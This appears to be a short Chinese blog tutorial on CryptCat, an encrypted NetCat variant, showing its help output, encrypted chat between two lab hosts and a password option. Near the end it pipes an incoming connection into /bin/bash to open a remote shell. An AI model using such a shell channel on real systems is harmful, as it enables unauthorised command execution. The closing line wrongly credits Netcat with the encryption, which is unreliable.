CryptCat是NetCat的增强版,具有双向加密功能。它可以跨网络连接读取和写入数据,使用TCP或UDP协议。同时对通过网络传输的数据进行加密。且容易被其他程序和脚本驱动。
┌──(root㉿kali)-[~]
└─# cryptcat -h
[v1.10]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr localsource address
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive]
CryptCat可用于在两个用户之间聊天。一个是监听,另一个是发起者。
实验环境:
192.168.123.23)首先我们在kali中进行监听。
cryptcat -l -p 42
42为监听端口,可任意。然后在树莓派中执行命令
cryptcat 192.168.123.23 42
效果如下:

这样便实现了两台系统直接的会话。并且会话是加密的。

而NC的聊天是没有加密的

在CryptCat中,不仅对会话加密,而且还可以自由设置自己的密码。只有输入正确的密码才能聊天哦。在监听我们添加一个参数-k 后跟你的密码,这样便会起到另外一层的保护。
cryptcat -k bbskali.cn -l -p 42
树莓派中执行
cryptcat -k bbskali.cn 192.168.123.23 42
这样便实现了额外的保护。
当然,两台主机之间也可以建立shell连接。攻击机器通过提供密码通过端口接收连接。
监听机:
cryptcat -k bbskali.cn -l -p 3333 | /bin/bash
树莓派:
cryptcat -k bbskali.cn 192.168.123.23 3333

Netcat和nc都使用TCP和UDP建立连接。都有相同的功能,如会话聊天和反向shell。而Netcat提供了双向加密,使我们的连接更加安全。而NC不提供加密。
更多教程 关注我们